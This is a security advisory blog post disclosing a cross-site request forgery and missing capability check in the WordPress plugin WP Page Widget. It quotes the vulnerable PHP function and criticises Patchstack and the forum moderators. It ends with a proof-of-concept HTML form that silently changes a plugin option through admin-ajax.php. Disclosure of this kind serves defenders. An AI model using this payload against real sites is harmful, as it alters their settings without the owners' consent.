Authenticated Settings Change Vulnerability in WP Page Widget
Last week the WordPress plugin WP Page Widget was closed on the WordPress Plugin Directory. As that plugin is one of the 1,000 most popular plugins, we were alerted to its closure. No reason has been given for the closure. But there is a security issue in the latest version.
About a month ago a competitor of ours, Patchstack, claimed a cross-site request forgery (CSRF) vulnerability had been fixed in the latest version of the plugin. They didn’t provide basic information needed to confirm the claim, as the “details” given are:
Cross-Site Request Forgery (CSRF) vulnerability was discovered by Muhammad Daffa (Patchstack Alliance) in the WordPress WP Page Widget plugin (versions <= 3.9).
They have a history of making, at best, huge mistakes with claims of vulnerabilities and them being fixed. In this case, there was an instance of that issue fixed in the stated version, but Patchstack missed that the issue had only be partially fixed. If they had provided additional details, it would have been easier to check on that and catch what they missed.
The plugin makes the function pw_ajax_toggle_customize(), which is located in the file ~/Sites/wordpress/wp-content/plugins/wp-page-widget/wp-page-widgets.php, accessible to anyone logged in to WordPress through its AJAX functionality:
27 | add_action('wp_ajax_pw-toggle-customize', 'pw_ajax_toggle_customize'); |
That function is intended to be called from one the plugin’s settings pages.
That function should include a nonce check to prevent CSRF, but it doesn’t:
1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 | function pw_ajax_toggle_customize() { $status = stripslashes($_POST['pw-customize-sidebars']); $post_id = (int) $_POST['post_id']; $search_page = $_POST['search_page']; $tag_id = (int) $_POST['tag_id']; $taxonomy = $_POST['taxonomy']; if (!in_array($status, array('yes', 'no'))) $status = 'no'; if (!empty($post_id)) { $post_type = get_post_type($post_id); $post_type_object = get_post_type_object($post_type); if (current_user_can($post_type_object->cap->edit_posts)) { update_post_meta($post_id, '_customize_sidebars', $status); echo 1; } } // For search page else if (!empty($search_page)) { update_option('_pw_search_page', $status); _e('Updated search page option.', 'wp-page-widgets'); } // For taxonomy page else { $objTaxonomy = get_taxonomy($taxonomy); if (current_user_can($objTaxonomy->cap->edit_terms)) { $taxonomyMetaData = getTaxonomyMetaData($taxonomy, $tag_id); $taxonomyMetaData['_customize_sidebars'] = $status; updateTaxonomiesMetaData($taxonomy, $tag_id, $taxonomyMetaData); echo 1; } } exit(0); } |
In addition to a lack of a nonce check, the middle portion (under the comment “For search page”) doesn’t include a capabilities check, so anyone logged in to WordPress could change that setting.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions of installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will change the value of the _pw_search_page WordPress option to “no”, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=pw-toggle-customize" method="POST"> <input type="hidden" name="pw-customize-sidebars" value="no" /> <input type="hidden" name="search_page" value="search_page" /> <input type="submit" name="img" value="Submit" /> </form> </body>